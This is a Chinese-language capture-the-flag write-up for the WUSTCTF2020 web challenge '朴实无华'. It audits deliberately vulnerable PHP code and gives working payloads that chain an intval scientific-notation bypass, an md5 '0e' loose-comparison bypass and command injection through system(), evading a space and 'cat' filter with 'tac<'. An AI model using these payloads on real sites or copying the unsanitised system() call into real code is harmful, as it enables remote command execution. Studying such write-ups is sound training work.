[WUSTCTF2020]朴实无华
文章目录
- [WUSTCTF2020]朴实无华
- 掌握知识
- 解题思路
- 代码分析
- 关键paylaod
掌握知识
目录扫描,抓包放包,代码审计,php函数特性的了解:intval
函数,md5
特性绕过,RCE一些bypass
方法
解题思路
- 打开题目链接,发现页面就显示一句
hacker
,源码也没有hint
,但是通过第三兄弟目录扫描得到了robots.txt
目录,通过查看,发现给了一个假的flag
界面
- 通过访问该界面,发现这个界面也没什么内容,提示这不是
flag
,那意味着flag
的内容或许就藏在这个界面中,尝试抓包查看请求和响应包是否隐藏内容。在重放器放包时,发现响应包的/fl4g.php
提示
- 访问之后发现是一大串代码,分为三个等级,看来是要进行代码审计了,而且还要通过三关才能进行命令执行拿到
flag
。代码如下
代码分析
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
- 接下来就对每一级代码进行分析,
level 1
的代码,发现关键在于intval
函数,该函数可以利用其特性进行绕过。根据菜鸟教程给的实例,发现字母可以阻断函数的识别,只会输出字母之前的内容,所以前面的判断很容易绕过。后面的判断不妨可以自己测试一下,带有e
的科学计数法形式的字符串,很多都可以通过这个判断,但是php的环境必须为7.0以下,否则字符串会和数字解析为相同的正确的结果。所以构造第一关paylaod:num=2019e10
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
- 第二关发现
md5
加密,很明显会是md5
的绕过,发现关键代码为$md5==md5($md5)
,这个形式的绕过还是很常见的,只要搜索md5绕过就能找到paylaod
。绕过的原理就是加密前后都是0e
开头的字符串,在php弱比较类型中是相等的。强比较也就是===
就不能用了。所以第二关paylaod
为:md5=0e215962017
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
- 来到最后一关,发现使用
str_ireplace
函数过滤了cat
命令,但是查看文件的linux
命令还有很多,例如tac less more tail
都可以作为替代。在此之前还有一个strstr
函数,根据搜索得知该函数会匹配后面的字符串第一次出现位置,返回字符串剩余的部分。所以该!strstr($get_flag," ")
函数就是在过滤空格符号。当然RCE进行空格bypass
的手段也很多,特殊字符,编码,变量都可以替换。
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
- 通过
ls
命令发现,flag
文件就在当前目录下,只不过这名字有点过于抽象了?num=2019e10&md5=0e215962017&get_flag=ls
- 构建最终的
paylaod
为,成功拿下flag
/fl4g.php?num=2019e10&md5=0e215962017&get_flag=tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
关键paylaod
/fl4g.php?num=2019e10&md5=0e215962017&get_flag=ls
/fl4g.php?num=2019e10&md5=0e215962017&get_flag=tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag